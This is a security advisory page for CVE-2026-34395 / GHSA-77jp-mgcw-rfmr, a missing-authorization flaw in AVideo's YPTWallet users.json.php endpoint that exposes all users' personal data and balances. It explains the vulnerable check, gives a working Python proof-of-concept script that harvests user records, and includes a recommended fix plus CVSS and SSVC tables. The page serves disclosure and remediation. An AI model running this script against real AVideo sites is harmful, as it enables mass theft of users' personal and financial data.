Advisory details:
github_osv / GHSA-77jp-mgcw-rfmr
| Advisory ID | github_osv/GHSA-77jp-mgcw-rfmr |
| Aliases |
CVE-2026-34395
|
| Summary | AVideo vulnerable to Mass User PII Disclosure via Missing Authorization in YPTWallet users.json.php **Severity:** High **CWE:** CWE-862 (Missing Authorization) ### Summary The `plugin/YPTWallet/view/users.json.php` endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks `User::isLogged()` but does not check `User::isAdmin()`, so any registered user can dump the full user database. ### Details The authorization check at `plugin/YPTWallet/view/users.json.php:8`: ```php if (!User::isLogged()) { die("Is not logged"); } ``` The query in `YPTWallet::getAllUsers()` selects all columns from both tables: ```php $sql = "SELECT w.*, u.*, u.id as user_id, IFNULL(balance, 0) as balance FROM users u " . " LEFT JOIN wallet w ON u.id = w.users_id WHERE 1=1 "; ``` The `cleanUpRowFromDatabase()` function strips fields matching `/pass/i` (removes `password` and `recoverPass`), but all other PII fields remain: `email`, `phone`, `address`, `zip_code`, `country`, `region`, `city`, `first_name`, `last_name`, `birth_date`, `isAdmin`, `analyticsCode`, `donationLink`, and `balance`. Other endpoints in the same directory (`saveBalance.php`, `adminManageWallets.php`, `pendingRequests.json.php`) all check `User::isAdmin()`. ### Proof of Concept ```python import requests TARGET = "https://your-avideo-instance.com" # Step 1: Login as any regular (non-admin) user session = requests.Session() session.post(f"{TARGET}/objects/login.json.php", data={ "user": "regular_user", "pass": "regular_password" }) # Step 2: Request the users endpoint resp = session.post(f"{TARGET}/plugin/YPTWallet/view/users.json.php", data={ "current": "1", "rowCount": "10" }) data = resp.json() print(f"Total users: {data['total']}") for u in data["rows"]: print(f" User: {u['user']}, Email: {u['email']}, Admin: {u['isAdmin']}, Balance: {u['balance']}") ``` The response contains every user on the platform, including admin accounts, with fields: `email`, `phone`, `address`, `zip_code`, `country`, `region`, `city`, `first_name`, `last_name`, `birth_date`, `isAdmin`, `balance`, `analyticsCode`, `donationLink`. ### Impact Any registered user can extract the complete user database with PII (emails, phone numbers, addresses, birth dates, real names) and financial data (wallet balances). This is a mass data breach that may trigger notification requirements under GDPR or CCPA. ### Recommended Fix Change `User::isLogged()` to `User::isAdmin()` at `plugin/YPTWallet/view/users.json.php:8`: ```php // plugin/YPTWallet/view/users.json.php:8 // Before: if (!User::isLogged()) { die("Is not logged"); } // After: if (!User::isAdmin()) { die("Is not logged"); } ``` This matches the authorization pattern already used by the other endpoints in the same directory (`saveBalance.php`, `adminManageWallets.php`, `pendingRequests.json.php`). --- *Found by [aisafe.io](https://aisafe.io)* |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 5.9 |
| Risk | 3.0 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| CWE-862 | Missing Authorization |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 6.5 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-77jp-mgcw-rfmr/GHSA-77jp-mgcw-rfmr.json |
| generic_textual | MODERATE |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/WWBN/AVideo | ||
| https://github.com/WWBN/AVideo/commit/db37b4e9d9e7c733e5d4c5881e10b2b9d2670983 | ||
| CVE-2026-34395 | https://nvd.nist.gov/vuln/detail/CVE-2026-34395 | |
| GHSA-77jp-mgcw-rfmr | Other | https://github.com/WWBN/AVideo/security/advisories/GHSA-77jp-mgcw-rfmr |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-01T18:35:32Z/
Decision: Track
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/34xxx/CVE-2026-34395.json
Source Advisory: vulnrichment/CVE-2026-34395
[{'Exploitation': 'poc'},
{'Automatable': 'no'},
{'Technical Impact': 'partial'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]